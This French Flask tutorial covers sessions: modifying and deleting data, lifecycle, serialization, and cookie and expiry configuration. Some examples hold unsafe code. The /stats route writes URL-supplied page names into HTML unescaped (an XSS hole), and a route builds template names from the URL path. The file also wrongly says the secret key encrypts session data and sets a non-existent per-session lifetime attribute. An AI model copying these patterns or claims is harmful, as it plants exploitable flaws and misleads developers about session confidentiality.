# ============================================================================

# Suite du Chapitre 1 : Première Session Flask


# ----------------------------------------------------------------------------
# [EDIT] MODIFIER DES DONNÉES DANS LA SESSION
# ----------------------------------------------------------------------------

"""
MODIFICATION SIMPLE
"""

# Modifier une valeur existante
session['username'] = 'Alice'
session['username'] = 'Bob'  # Écrase 'Alice'

# Modifier via get
current_count = session.get('count', 0)
session['count'] = current_count + 1


"""
MODIFICATION DE STRUCTURES COMPLEXES

[ATTENTION] PIÈGE COURANT : Modifications en place
"""

# [X] PROBLÈME : Modification en place ne fonctionne pas toujours !
session['cart'] = [1, 2, 3]
session['cart'].append(4)  # Modification en place
# La session peut ne PAS détecter le changement ! [!]

# [OK] SOLUTION 1 : Marquer comme modifiée
session['cart'].append(4)
session.modified = True  # Force Flask à sauvegarder

# [OK] SOLUTION 2 : Réaffecter (RECOMMANDÉ)
cart = session['cart']
cart.append(4)
session['cart'] = cart  # Réaffectation détectée

# [OK] SOLUTION 3 : Créer nouvelle liste
session['cart'] = session['cart'] + [4]


"""
[IDEE] POURQUOI CE PROBLÈME ?

Flask détecte les changements par RÉAFFECTATION, pas par modification en place.

DÉTECTION :
"""
session['key'] = value  # [OK] Détecté (assignation)
session['list'].append(x)  # [X] Pas toujours détecté (mutation)

"""
EXEMPLES COMPLETS :
"""

# Exemple 1 : Panier d'achat
@app.route('/add-to-cart/<int:product_id>')
def add_to_cart(product_id):
    """Ajouter un produit au panier"""
    
    # [X] MAUVAIS
    # session.setdefault('cart', [])
    # session['cart'].append(product_id)  # Peut ne pas être sauvegardé
    
    # [OK] BON
    cart = session.get('cart', [])
    cart.append(product_id)
    session['cart'] = cart  # Réaffectation explicite
    
    flash(f'Produit {product_id} ajouté au panier')
    return redirect('/shop')


# Exemple 2 : Compteur de vues par page
@app.route('/page/<page_name>')
def view_page(page_name):
    """Tracker les pages vues"""
    
    # [OK] BON : Avec session.modified
    if 'page_views' not in session:
        session['page_views'] = {}
    
    session['page_views'][page_name] = session['page_views'].get(page_name, 0) + 1
    session.modified = True  # Nécessaire car dict modifié en place
    
    return render_template(f'{page_name}.html')


# Exemple 3 : Préférences utilisateur
@app.route('/settings', methods=['POST'])
def update_settings():
    """Mettre à jour les préférences"""
    
    # [OK] BON : Récupérer, modifier, réaffecter
    settings = session.get('settings', {
        'theme': 'light',
        'language': 'fr',
        'notifications': True
    })
    
    # Mise à jour depuis formulaire
    settings['theme'] = request.form.get('theme', settings['theme'])
    settings['language'] = request.form.get('language', settings['language'])
    settings['notifications'] = 'notifications' in request.form
    
    # Réaffecter
    session['settings'] = settings
    
    flash('Préférences mises à jour')
    return redirect('/dashboard')


"""
[IDEE] RÉCAPITULATIF MODIFICATION

┌──────────────────────────┬───────────┬─────────────────┐
│ Opération                │ Détecté ? │ Recommandation  │
├──────────────────────────┼───────────┼─────────────────┤
│ session['x'] = value     │ [OK] Oui    │ Utiliser        │
│ session['list'].append() │ [ATTENTION]  Non   │ +modified=True  │
│ session['dict']['k']=v   │ [ATTENTION]  Non   │ +modified=True  │
│ temp = session['x']      │           │                 │
│ temp.modify()            │           │                 │
│ session['x'] = temp      │ [OK] Oui    │ MEILLEURE !     │
└──────────────────────────┴───────────┴─────────────────┘
"""


# ----------------------------------------------------------------------------
# [SUPPRIMER] SUPPRIMER DES DONNÉES DE LA SESSION
# ----------------------------------------------------------------------------

"""
MÉTHODES DE SUPPRESSION
"""

# 1. session.pop() - RECOMMANDÉE !
username = session.pop('username', None)
# Supprime 'username' et retourne sa valeur
# Retourne None si n'existe pas (pas d'erreur)

# Avec valeur par défaut personnalisée
old_value = session.pop('key', 'default_value')


# 2. del session['key'] - DIRECT (peut planter !)
del session['username']
# KeyError si 'username' n'existe pas !


# 3. session.clear() - TOUT SUPPRIMER
session.clear()
# Vide complètement la session


"""
[IDEE] COMPARAISON DES MÉTHODES

┌─────────────────┬─────────────┬──────────────────────┐
│ Méthode         │ Si existe   │ Si n'existe pas      │
├─────────────────┼─────────────┼──────────────────────┤
│ .pop('key')     │ Supprime,   │ Retourne None        │
│                 │ retourne val│                      │
│ .pop('key',def) │ Supprime,   │ Retourne def         │
│                 │ retourne val│                      │
│ del ['key']     │ Supprime    │ KeyError !           │
│ .clear()        │ Supprime    │ Supprime tout        │
│                 │ tout        │                      │
└─────────────────┴─────────────┴──────────────────────┘


EXEMPLES PRATIQUES :
"""

# Exemple 1 : Déconnexion
@app.route('/logout')
def logout():
    """Déconnecter l'utilisateur"""
    
    # Supprimer toutes les données de session
    session.clear()
    
    flash('Vous avez été déconnecté')
    return redirect('/')


# Exemple 2 : Déconnexion partielle
@app.route('/logout-partial')
def logout_partial():
    """Déconnecter mais garder certaines données"""
    
    # Sauvegarder temporairement
    language = session.get('language', 'fr')
    theme = session.get('theme', 'light')
    
    # Tout supprimer
    session.clear()
    
    # Restaurer certaines données
    session['language'] = language
    session['theme'] = theme
    
    flash('Session nettoyée, préférences conservées')
    return redirect('/')


# Exemple 3 : Nettoyer le panier après achat
@app.route('/checkout/success')
def checkout_success():
    """Après paiement réussi"""
    
    # Supprimer le panier
    session.pop('cart', None)
    session.pop('shipping_info', None)
    
    # Mais garder user_id et autres données
    
    flash('Commande validée !')
    return render_template('success.html')


# Exemple 4 : Supprimer données expirées
@app.before_request
def clean_old_data():
    """Nettoyer les données expirées avant chaque requête"""
    
    # Vérifier timestamp
    created_at = session.get('created_at')
    if created_at:
        from datetime import datetime
        created = datetime.fromisoformat(created_at)
        now = datetime.now()
        
        # Si session > 24h, nettoyer
        if (now - created).days > 1:
            session.clear()


"""
[ATTENTION] ERREUR COURANTE : KeyError lors de la suppression
"""

# [X] MAUVAIS
@app.route('/remove-from-cart/<int:product_id>')
def remove_from_cart(product_id):
    cart = session['cart']  # KeyError si pas de panier !
    cart.remove(product_id)  # ValueError si produit pas dans cart !
    session['cart'] = cart

# [OK] BON
@app.route('/remove-from-cart/<int:product_id>')
def remove_from_cart(product_id):
    cart = session.get('cart', [])
    
    if product_id in cart:
        cart.remove(product_id)
        session['cart'] = cart
        flash('Produit retiré du panier')
    else:
        flash('Produit non trouvé dans le panier')
    
    return redirect('/cart')


# ----------------------------------------------------------------------------
# [SYNC] CYCLE DE VIE D'UNE SESSION
# ----------------------------------------------------------------------------

"""
COMPRENDRE LE CYCLE DE VIE

Une session Flask passe par plusieurs états :


1. CRÉATION
───────────
"""

@app.route('/login', methods=['POST'])
def login():
    username = request.form['username']
    
    # Première écriture -> Session créée
    session['user_id'] = 123
    session['username'] = username
    
    # Flask génère un cookie de session
    # Cookie envoyé au client
    
    return redirect('/dashboard')

"""
Ce qui se passe :
- Flask crée un nouveau dict de session
- Sérialise les données en JSON
- Signe avec SECRET_KEY
- Génère cookie : session=eyJ1c2VyX2lkIjoxMjN9...
- Envoie Set-Cookie dans la réponse HTTP


2. UTILISATION (Requêtes suivantes)
────────────────────────────────────
"""

@app.route('/dashboard')
def dashboard():
    # Cookie envoyé automatiquement par le navigateur
    # Flask désérialise le cookie
    # Données disponibles dans `session`
    
    user_id = session.get('user_id')
    username = session.get('username')
    
    return f"Dashboard de {username}"

"""
Ce qui se passe :
- Navigateur envoie Cookie: session=eyJ1c2VyX2lkIjoxMjN9...
- Flask vérifie la signature
- Désérialise le JSON
- Charge dans l'objet `session`
- Données accessibles dans la vue


3. MODIFICATION
───────────────
"""

@app.route('/update-profile', methods=['POST'])
def update_profile():
    # Modifier la session
    session['email'] = request.form['email']
    session['bio'] = request.form['bio']
    
    # Cookie mis à jour automatiquement
    # Nouveau cookie envoyé au client
    
    return redirect('/profile')

"""
Ce qui se passe :
- Données modifiées dans l'objet `session`
- Flask détecte les modifications
- Re-sérialise et re-signe
- Envoie nouveau cookie Set-Cookie


4. EXPIRATION / DESTRUCTION
────────────────────────────
"""

# A. Expiration naturelle (navigateur fermé)
# Par défaut, session expire quand navigateur fermé

# B. Expiration par timeout
app.config['PERMANENT_SESSION_LIFETIME'] = timedelta(hours=1)

@app.route('/login')
def login():
    session.permanent = True  # Activer timeout
    session['user_id'] = 123
    # Session expire après 1 heure

# C. Suppression manuelle
@app.route('/logout')
def logout():
    session.clear()  # Destruction immédiate

"""
Ce qui se passe :
- Cookie supprimé du navigateur
- Données de session perdues
- Prochaine requête = nouvelle session


VISUALISATION COMPLÈTE DU CYCLE :

┌─────────────────────────────────────────────────────────┐
│                    CYCLE DE VIE                         │
└─────────────────────────────────────────────────────────┘

1. CRÉATION (Première requête)
   │
   ├─ Aucun cookie présent
   ├─ session.get('key') -> None
   ├─ session['user_id'] = 123  <- Première écriture
   ├─ Flask crée session
   ├─ Génère cookie
   └─ Set-Cookie: session=... envoyé
   │
   v

2. REQUÊTES SUIVANTES (même navigateur)
   │
   ├─ Cookie: session=... envoyé automatiquement
   ├─ Flask désérialise
   ├─ session.get('user_id') -> 123 [OK]
   ├─ Modifications possibles
   └─ Cookie mis à jour si nécessaire
   │
   v

3. EXPIRATION
   │
   ├─ Option A : Navigateur fermé
   │   └─ Cookie supprimé -> Session perdue
   │
   ├─ Option B : Timeout atteint
   │   └─ Session expirée -> Nouvelle session
   │
   └─ Option C : Logout manuel
       └─ session.clear() -> Session détruite


DURÉES DE VIE :
"""

# Par défaut : Session temporaire (expire à fermeture navigateur)
@app.route('/login')
def login():
    session['user_id'] = 123
    # Session expire quand navigateur fermé

# Session permanente avec timeout
from datetime import timedelta

app.config['PERMANENT_SESSION_LIFETIME'] = timedelta(days=7)

@app.route('/login')
def login():
    session.permanent = True  # Activer permanence
    session['user_id'] = 123
    # Session dure 7 jours

# Session permanente personnalisée
@app.route('/login')
def login():
    session.permanent = True
    session['user_id'] = 123
    
    # Personnaliser durée pour cette session
    session.permanent_session_lifetime = timedelta(hours=2)


"""
[IDEE] DIFFÉRENCE TEMPORAIRE vs PERMANENTE

┌──────────────────┬───────────────────┬─────────────────────┐
│                  │ TEMPORAIRE        │ PERMANENTE          │
│                  │ (par défaut)      │ (permanent=True)    │
├──────────────────┼───────────────────┼─────────────────────┤
│ Durée            │ Jusqu'à fermeture │ Définie (config)    │
│                  │ navigateur        │                     │
├──────────────────┼───────────────────┼─────────────────────┤
│ Cookie           │ Session cookie    │ Persistent cookie   │
│                  │ (pas de max-age)  │ (avec max-age)      │
├──────────────────┼───────────────────┼─────────────────────┤
│ Use case         │ Sécurité élevée   │ "Se souvenir"       │
│                  │ (banking)         │ (e-commerce)        │
├──────────────────┼───────────────────┼─────────────────────┤
│ Exemple          │ Transaction       │ Panier d'achat      │
│                  │ bancaire          │ Shopping            │
└──────────────────┴───────────────────┴─────────────────────┘


EXEMPLE : "Se souvenir de moi"
"""

@app.route('/login', methods=['POST'])
def login():
    username = request.form['username']
    password = request.form['password']
    remember = request.form.get('remember')  # Checkbox
    
    user = User.query.filter_by(username=username).first()
    
    if user and user.check_password(password):
        session['user_id'] = user.id
        
        # Si "Se souvenir de moi" coché
        if remember:
            session.permanent = True  # Session permanente
            # Dure 30 jours (défini dans config)
        else:
            session.permanent = False  # Session temporaire
            # Expire à la fermeture du navigateur
        
        return redirect('/dashboard')
    
    return "Login failed"


# ----------------------------------------------------------------------------
# [GRAPHIQUE] TYPES DE DONNÉES AVANCÉS
# ----------------------------------------------------------------------------

"""
STOCKER DES STRUCTURES COMPLEXES


1. DICTIONNAIRES IMBRIQUÉS
───────────────────────────
"""

@app.route('/save-profile', methods=['POST'])
def save_profile():
    """Profil utilisateur complexe"""
    
    session['user'] = {
        'id': 123,
        'username': 'Alice',
        'email': 'alice@example.com',
        'settings': {
            'theme': 'dark',
            'language': 'fr',
            'notifications': {
                'email': True,
                'push': False,
                'sms': True
            }
        },
        'metadata': {
            'last_login': datetime.now().isoformat(),
            'login_count': 42,
            'ip_address': request.remote_addr
        }
    }
    
    return "Profile sauvegardé"

# Accéder aux données imbriquées
@app.route('/settings')
def settings():
    user = session.get('user', {})
    theme = user.get('settings', {}).get('theme', 'light')
    
    return f"Thème actuel : {theme}"


"""
2. LISTES DE DICTIONNAIRES
───────────────────────────
"""

@app.route('/add-to-cart/<int:product_id>')
def add_to_cart(product_id):
    """Panier avec détails produits"""
    
    product = Product.query.get(product_id)
    
    cart = session.get('cart', [])
    
    # Ajouter dictionnaire complet
    cart.append({
        'product_id': product.id,
        'name': product.name,
        'price': float(product.price),  # Convertir Decimal -> float
        'quantity': 1,
        'added_at': datetime.now().isoformat()
    })
    
    session['cart'] = cart
    
    return redirect('/cart')

# Calculer total
@app.route('/cart/total')
def cart_total():
    cart = session.get('cart', [])
    total = sum(item['price'] * item['quantity'] for item in cart)
    return jsonify({'total': total})


"""
3. GÉRER LES DATES/HEURES
─────────────────────────

[ATTENTION] datetime n'est pas sérialisable en JSON !
"""

# [X] ERREUR
from datetime import datetime
session['created_at'] = datetime.now()  # TypeError!

# [OK] SOLUTION 1 : Convertir en ISO string
session['created_at'] = datetime.now().isoformat()
# '2024-12-18T14:30:00.123456'

# Récupérer
created_str = session.get('created_at')
if created_str:
    created_dt = datetime.fromisoformat(created_str)

# [OK] SOLUTION 2 : Timestamp Unix
import time
session['created_at'] = time.time()
# 1702912200.123

# Récupérer
timestamp = session.get('created_at')
if timestamp:
    created_dt = datetime.fromtimestamp(timestamp)


"""
4. GESTION DES NOMBRES DÉCIMAUX
────────────────────────────────

[ATTENTION] Decimal n'est pas sérialisable en JSON !
"""

from decimal import Decimal

# [X] ERREUR
product_price = Decimal('19.99')
session['price'] = product_price  # TypeError!

# [OK] SOLUTION : Convertir en float ou string
session['price'] = float(product_price)  # 19.99 (float)
# Ou
session['price'] = str(product_price)   # '19.99' (string)

# Récupérer
price = Decimal(str(session.get('price', '0')))


"""
5. OBJETS PERSONNALISÉS (Classes)
──────────────────────────────────

[ATTENTION] Objets custom ne sont PAS sérialisables !
"""

class ShoppingCart:
    def __init__(self):
        self.items = []
        self.total = 0

# [X] ERREUR
cart = ShoppingCart()
session['cart'] = cart  # TypeError!

# [OK] SOLUTION : Sérialiser manuellement
cart = ShoppingCart()
cart.items = [1, 2, 3]
cart.total = 59.97

# Convertir en dict
session['cart'] = {
    'items': cart.items,
    'total': cart.total
}

# Récupérer et reconstruire
cart_data = session.get('cart', {})
cart = ShoppingCart()
cart.items = cart_data.get('items', [])
cart.total = cart_data.get('total', 0)


"""
6. HELPER FUNCTIONS POUR SÉRIALISATION
───────────────────────────────────────
"""

def serialize_for_session(obj):
    """
    Convertir objet Python en format session-compatible
    """
    from datetime import datetime, date
    from decimal import Decimal
    
    if isinstance(obj, datetime):
        return obj.isoformat()
    elif isinstance(obj, date):
        return obj.isoformat()
    elif isinstance(obj, Decimal):
        return float(obj)
    elif hasattr(obj, '__dict__'):
        # Objet custom -> dict
        return obj.__dict__
    else:
        return obj

def deserialize_from_session(data, target_class=None):
    """
    Convertir données session en objet Python
    """
    from datetime import datetime
    
    if target_class and hasattr(target_class, 'from_dict'):
        return target_class.from_dict(data)
    
    # Convertir strings ISO en datetime
    if isinstance(data, str):
        try:
            return datetime.fromisoformat(data)
        except:
            return data
    
    return data

# Utilisation
class User:
    def __init__(self, id, username, created_at):
        self.id = id
        self.username = username
        self.created_at = created_at
    
    @classmethod
    def from_dict(cls, data):
        return cls(
            id=data['id'],
            username=data['username'],
            created_at=datetime.fromisoformat(data['created_at'])
        )

# Sauvegarder
user = User(123, 'Alice', datetime.now())
session['user'] = serialize_for_session({
    'id': user.id,
    'username': user.username,
    'created_at': user.created_at
})

# Charger
user_data = session.get('user')
if user_data:
    user = deserialize_from_session(user_data, User)


# ============================================================================
# [GUIDE] CHAPITRE 2 : OPÉRATIONS DE BASE COMPLÈTES
# ============================================================================

"""
[OBJECTIF] OBJECTIFS

Maîtriser toutes les opérations de base sur les sessions
"""


# ----------------------------------------------------------------------------
# [RECHERCHE] VÉRIFIER L'EXISTENCE DE DONNÉES
# ----------------------------------------------------------------------------

"""
MÉTHODES DE VÉRIFICATION
"""

# 1. 'key' in session
if 'user_id' in session:
    print("Utilisateur connecté")

# 2. session.get() avec test None
user_id = session.get('user_id')
if user_id is not None:
    print("Utilisateur connecté")

# 3. Vérifier et récupérer
user_id = session.get('user_id')
if user_id:  # Attention : 0 et False sont falsy !
    print(f"User ID: {user_id}")


"""
[ATTENTION] PIÈGE : Valeurs falsy
"""

# [X] PROBLÈME
session['count'] = 0
if session.get('count'):  # False car 0 est falsy !
    print("Count existe")  # Ne s'exécute pas !

# [OK] SOLUTION
if session.get('count') is not None:
    print("Count existe")  # S'exécute [OK]

# Ou
if 'count' in session:
    print("Count existe")  # S'exécute [OK]


"""
EXEMPLES PRATIQUES
"""

# Vérifier authentification
def is_logged_in():
    """Vérifier si utilisateur connecté"""
    return 'user_id' in session

# Décorateur pour routes protégées
from functools import wraps

def login_required(f):
    """Décorateur pour protéger les routes"""
    @wraps(f)
    def decorated_function(*args, **kwargs):
        if 'user_id' not in session:
            flash('Veuillez vous connecter')
            return redirect(url_for('login'))
        return f(*args, **kwargs)
    return decorated_function

@app.route('/dashboard')
@login_required
def dashboard():
    return render_template('dashboard.html')


# Vérifier panier vide
@app.route('/checkout')
def checkout():
    cart = session.get('cart', [])
    
    if not cart:  # Liste vide
        flash('Votre panier est vide')
        return redirect('/shop')
    
    return render_template('checkout.html', cart=cart)


# ----------------------------------------------------------------------------
# [NOMBRE] OPÉRATIONS SUR LES COMPTEURS
# ----------------------------------------------------------------------------

"""
INCRÉMENTER / DÉCRÉMENTER
"""

# Incrémenter
@app.route('/increment')
def increment():
    session['count'] = session.get('count', 0) + 1
    return f"Count: {session['count']}"

# Décrémenter
@app.route('/decrement')
def decrement():
    session['count'] = session.get('count', 0) - 1
    return f"Count: {session['count']}"

# Reset
@app.route('/reset')
def reset():
    session['count'] = 0
    return "Count reset"


"""
COMPTEURS MULTIPLES
"""

@app.route('/track-view/<page>')
def track_view(page):
    """Tracker vues par page"""
    
    # Initialiser si nécessaire
    if 'page_views' not in session:
        session['page_views'] = {}
    
    # Incrémenter pour cette page
    views = session['page_views']
    views[page] = views.get(page, 0) + 1
    session['page_views'] = views  # Réaffecter
    
    return f"Page '{page}' vue {views[page]} fois"

@app.route('/stats')
def stats():
    """Afficher statistiques"""
    views = session.get('page_views', {})
    total = sum(views.values())
    
    return f"""
    <h2>Statistiques de navigation</h2>
    <ul>
        {"".join(f"<li>{page}: {count} vues</li>" for page, count in views.items())}
    </ul>
    <p>Total : {total} pages vues</p>
    """


# Ce fichier continue dans session_partie1_final.txt...

# ============================================================================
# [LIVRE] SESSIONS FLASK - PARTIE 2 : CONFIGURATION ET SÉCURITÉ
# ============================================================================
#
# [OBJECTIF] CETTE PARTIE COUVRE :
# - Chapitre 4 : Configuration Complète des Sessions
# - Chapitre 5 : Sécurité des Sessions
# - Chapitre 6 : Cookies et Sessions en Détail
# - Chapitre 7 : Sessions Côté Serveur (Redis, Database)
#
# [TEMPS] TEMPS : ~3-4 heures
# [DOCS] PRÉREQUIS : Partie 1 complétée
# ============================================================================


# ============================================================================
# [GUIDE] CHAPITRE 4 : CONFIGURATION COMPLÈTE DES SESSIONS
# ============================================================================

"""
[OBJECTIF] OBJECTIFS D'APPRENTISSAGE

À la fin de ce chapitre, vous saurez :
[OK] Toutes les options de configuration des sessions
[OK] Configurer durée de vie et expiration
[OK] Personnaliser les cookies de session
[OK] Configuration par environnement
[OK] Best practices de configuration
"""


# ----------------------------------------------------------------------------
# [CONFIG] OPTIONS DE CONFIGURATION PRINCIPALES
# ----------------------------------------------------------------------------

"""
CONFIGURATION COMPLÈTE
"""

from flask import Flask
from datetime import timedelta
import os

app = Flask(__name__)

# ============================================================================
# [CLE] SECRET_KEY - OBLIGATOIRE
# ============================================================================

# [ALERTE] CRITIQUE : Sans SECRET_KEY, pas de sessions !
app.config['SECRET_KEY'] = os.environ.get('SECRET_KEY') or 'dev-key-change-me'

"""
[IDEE] SECRET_KEY EN DÉTAIL

RÔLE :
- Signer les cookies de session (HMAC-SHA256)
- Empêcher modifications malveillantes
- Chiffrer données sensibles

GÉNÉRATION SÉCURISÉE :
"""

# Méthode 1 : secrets (Python 3.6+) - RECOMMANDÉE
import secrets
SECRET_KEY = secrets.token_hex(32)  # 64 caractères hex
# Exemple : 'a1b2c3d4e5f6789....'

# Méthode 2 : os.urandom
import os
SECRET_KEY = os.urandom(24).hex()  # 48 caractères hex

# Méthode 3 : uuid (moins sécurisé)
import uuid
SECRET_KEY = str(uuid.uuid4())

"""
[VERROUILLE] RÈGLES DE SÉCURITÉ SECRET_KEY

[OK] FAIRE :
- Générer aléatoirement
- Minimum 32 caractères
- Unique par application
- Stocker dans variable d'environnement
- Différente dev/staging/production
- Changer régulièrement en production

[X] NE PAS FAIRE :
- 'secret' ou 'dev'
- Votre nom ou mot de passe
- Commiter dans Git
- Partager publiquement
- Réutiliser entre apps
- Moins de 16 caractères


CONFIGURATION PAR ENVIRONNEMENT :
"""

# .env (jamais commité !)
"""
SECRET_KEY=a1b2c3d4e5f6789012345678901234567890123456789012345678901234
"""

# config.py
import os
from dotenv import load_dotenv

load_dotenv()

class Config:
    SECRET_KEY = os.environ.get('SECRET_KEY')
    
    if not SECRET_KEY:
        raise ValueError("SECRET_KEY must be set in environment variables")

class DevelopmentConfig(Config):
    DEBUG = True
    SECRET_KEY = os.environ.get('SECRET_KEY') or secrets.token_hex(16)

class ProductionConfig(Config):
    DEBUG = False
    # SECRET_KEY OBLIGATOIRE depuis environnement
    if not os.environ.get('SECRET_KEY'):
        raise ValueError("SECRET_KEY required in production")

# app.py
app.config.from_object(ProductionConfig)


# ============================================================================
# [COOKIE] CONFIGURATION DES COOKIES DE SESSION
# ============================================================================

"""
OPTIONS COOKIES DÉTAILLÉES
"""

# Nom du cookie
app.config['SESSION_COOKIE_NAME'] = 'session'
# Cookie sera nommé 'session' (défaut)
# Utile si plusieurs apps sur même domaine

# Domain du cookie
app.config['SESSION_COOKIE_DOMAIN'] = None
# None = domaine actuel seulement
# '.example.com' = tous les sous-domaines

# Path du cookie
app.config['SESSION_COOKIE_PATH'] = '/'
# '/' = tout le site
# '/admin' = seulement /admin/*

# HttpOnly (SÉCURITÉ !)
app.config['SESSION_COOKIE_HTTPONLY'] = True
# True = Cookie inaccessible en JavaScript (XSS protection)
# [ATTENTION] TOUJOURS True en production !

# Secure (HTTPS uniquement)
app.config['SESSION_COOKIE_SECURE'] = False
# True = Cookie envoyé seulement via HTTPS
# False = HTTP et HTTPS (dev)
# [ATTENTION] True en production avec HTTPS !

# SameSite (CSRF protection)
app.config['SESSION_COOKIE_SAMESITE'] = 'Lax'
# 'Strict' = Jamais envoyé cross-site (très strict)
# 'Lax' = Envoyé sur navigation GET cross-site (recommandé)
# 'None' = Toujours envoyé (nécessite Secure=True)


"""
[IDEE] CONFIGURATION DÉTAILLÉE PAR OPTION


1. SESSION_COOKIE_NAME
──────────────────────

Quand changer ?
- Plusieurs apps Flask sur même domaine
- Éviter conflits de cookies
"""

# App 1 (blog)
app1.config['SESSION_COOKIE_NAME'] = 'blog_session'

# App 2 (admin)
app2.config['SESSION_COOKIE_NAME'] = 'admin_session'

# Sans ça : Les deux apps partageraient le même cookie 'session' !


"""
2. SESSION_COOKIE_DOMAIN
────────────────────────

Partager session entre sous-domaines :
"""

# app.example.com et admin.example.com partagent la session
app.config['SESSION_COOKIE_DOMAIN'] = '.example.com'

# Cas d'usage :
# - SSO (Single Sign-On) entre sous-domaines
# - Authentification partagée


"""
3. SESSION_COOKIE_PATH
──────────────────────

Limiter cookie à une partie du site :
"""

# Cookie seulement pour /admin/*
app.config['SESSION_COOKIE_PATH'] = '/admin'

# Navigateur envoie cookie :
# [OK] /admin/dashboard
# [OK] /admin/users
# [X] /blog/posts (pas dans /admin)


"""
4. SESSION_COOKIE_HTTPONLY * CRITIQUE
─────────────────────────────────────

Protection XSS (Cross-Site Scripting) :
"""

app.config['SESSION_COOKIE_HTTPONLY'] = True

# Avec True :
# [OK] Cookie envoyé dans requêtes HTTP
# [X] Inaccessible via JavaScript (document.cookie)
# -> Attaquant ne peut pas voler le cookie via XSS !

# Avec False :
# [X] JavaScript peut lire : document.cookie
# [X] XSS peut voler la session !

# [ATTENTION] TOUJOURS True sauf cas très spécifique !


"""
5. SESSION_COOKIE_SECURE * CRITIQUE
───────────────────────────────────

Protection Man-in-the-Middle :
"""

app.config['SESSION_COOKIE_SECURE'] = True  # Production

# Avec True :
# [OK] Cookie envoyé SEULEMENT via HTTPS
# [X] Pas envoyé via HTTP
# -> Cookie ne peut pas être intercepté en clair !

# Configuration par environnement :
if app.config['ENV'] == 'production':
    app.config['SESSION_COOKIE_SECURE'] = True
else:
    app.config['SESSION_COOKIE_SECURE'] = False  # Dev local (HTTP)


"""
6. SESSION_COOKIE_SAMESITE * CRITIQUE
─────────────────────────────────────

Protection CSRF (Cross-Site Request Forgery) :
"""

# Option 1 : 'Strict' (très strict)
app.config['SESSION_COOKIE_SAMESITE'] = 'Strict'
# Cookie JAMAIS envoyé cross-site
# Même pas lors de navigation (clic sur lien externe)
# Use case : Banking, sites très sensibles

# Option 2 : 'Lax' (recommandé)
app.config['SESSION_COOKIE_SAMESITE'] = 'Lax'
# Cookie envoyé lors de navigation GET cross-site
# Pas envoyé lors de requêtes POST/PUT/DELETE cross-site
# Use case : La plupart des sites web

# Option 3 : 'None' (permissif)
app.config['SESSION_COOKIE_SAMESITE'] = 'None'
app.config['SESSION_COOKIE_SECURE'] = True  # Obligatoire avec None !
# Cookie toujours envoyé, même cross-site
# Use case : Embeddings, iframes, APIs tierces


"""
EXEMPLE CONCRET : Impact de SameSite


SCÉNARIO :
1. Utilisateur connecté sur votresite.com
2. Visite sitemalveillant.com
3. sitemalveillant.com fait requête vers votresite.com
"""

# Avec SameSite='Strict' :
# [X] Cookie NOT envoyé -> Requête non authentifiée
# -> CSRF impossible !

# Avec SameSite='Lax' :
# [OK] Cookie envoyé si GET (navigation)
# [X] Cookie NOT envoyé si POST (formulaire)
# -> CSRF sur POST impossible !

# Avec SameSite='None' :
# [OK] Cookie toujours envoyé
# [ATTENTION] CSRF possible sans autre protection !


# ============================================================================
# [TEMPS] DURÉE DE VIE DES SESSIONS
# ============================================================================

"""
CONFIGURATION EXPIRATION
"""

from datetime import timedelta

# Durée de vie des sessions permanentes
app.config['PERMANENT_SESSION_LIFETIME'] = timedelta(days=7)

# Refresh automatique
app.config['SESSION_REFRESH_EACH_REQUEST'] = True


"""
[IDEE] PERMANENT_SESSION_LIFETIME

Définit la durée maximale d'une session permanente :
"""

# 1 heure
app.config['PERMANENT_SESSION_LIFETIME'] = timedelta(hours=1)

# 7 jours
app.config['PERMANENT_SESSION_LIFETIME'] = timedelta(days=7)

# 30 jours
app.config['PERMANENT_SESSION_LIFETIME'] = timedelta(days=30)

# Utilisation dans route
@app.route('/login')
def login():
    session.permanent = True  # Activer durée configurée
    session['user_id'] = 123
    # Session expire après PERMANENT_SESSION_LIFETIME


"""
[IDEE] SESSION_REFRESH_EACH_REQUEST

Rafraîchir l'expiration à chaque requête :
"""

# True (défaut) : Expiration remise à zéro à chaque requête
app.config['SESSION_REFRESH_EACH_REQUEST'] = True

# Comportement avec True :
# Login à 10h00 -> Expire à 11h00 (1h lifetime)
# Requête à 10h30 -> Expire à 11h30 (remis à zéro)
# Requête à 11h00 -> Expire à 12h00 (remis à zéro)
# -> Session ne expire jamais si utilisateur actif !

# False : Expiration absolue
app.config['SESSION_REFRESH_EACH_REQUEST'] = False

# Comportement avec False :
# Login à 10h00 -> Expire à 11h00
# Requête à 10h30 -> Expire toujours à 11h00
# Requête à 10h59 -> Expire toujours à 11h00
# -> Session expire exactement après lifetime


"""
EXEMPLES DE CONFIGURATION PAR USE CASE
"""

# 1. SITE E-COMMERCE (panier persistant)
app.config['PERMANENT_SESSION_LIFETIME'] = timedelta(days=30)
app.config['SESSION_REFRESH_EACH_REQUEST'] = True

@app.route('/add-to-cart/<int:product_id>')
def add_to_cart(product_id):
    session.permanent = True  # Panier dure 30 jours
    cart = session.get('cart', [])
    cart.append(product_id)
    session['cart'] = cart
    return redirect('/cart')


# 2. SITE BANCAIRE (haute sécurité)
app.config['PERMANENT_SESSION_LIFETIME'] = timedelta(minutes=15)
app.config['SESSION_REFRESH_EACH_REQUEST'] = False

@app.route('/login')
def login():
    session.permanent = True
    session['user_id'] = user.id
    # Expire EXACTEMENT après 15 minutes
    # Même si utilisateur actif !


# 3. APPLICATION ADMIN (sécurité moyenne)
app.config['PERMANENT_SESSION_LIFETIME'] = timedelta(hours=8)
app.config['SESSION_REFRESH_EACH_REQUEST'] = True

@app.route('/admin/login')
def admin_login():
    session.permanent = True
    session['admin_id'] = admin.id
    # Session dure toute la journée si actif


# ============================================================================
# [LISTE] CONFIGURATION COMPLÈTE RECOMMANDÉE
# ============================================================================

"""
CONFIGURATION PAR ENVIRONNEMENT
"""

# config.py
import os
from datetime import timedelta
import secrets

class Config:
    """Configuration de base"""
    
    # Secret Key
    SECRET_KEY = os.environ.get('SECRET_KEY')
    
    # Session
    SESSION_COOKIE_NAME = 'session'
    SESSION_COOKIE_HTTPONLY = True
    SESSION_COOKIE_SAMESITE = 'Lax'
    PERMANENT_SESSION_LIFETIME = timedelta(days=7)
    SESSION_REFRESH_EACH_REQUEST = True


class DevelopmentConfig(Config):
    """Configuration développement"""
    
    DEBUG = True
    
    # Secret Key auto-générée si absente
    SECRET_KEY = os.environ.get('SECRET_KEY') or secrets.token_hex(32)
    
    # HTTP autorisé (pas de HTTPS local)
    SESSION_COOKIE_SECURE = False
    
    # Durée plus courte pour tests
    PERMANENT_SESSION_LIFETIME = timedelta(hours=1)


class ProductionConfig(Config):
    """Configuration production"""
    
    DEBUG = False
    
    # Secret Key OBLIGATOIRE
    SECRET_KEY = os.environ.get('SECRET_KEY')
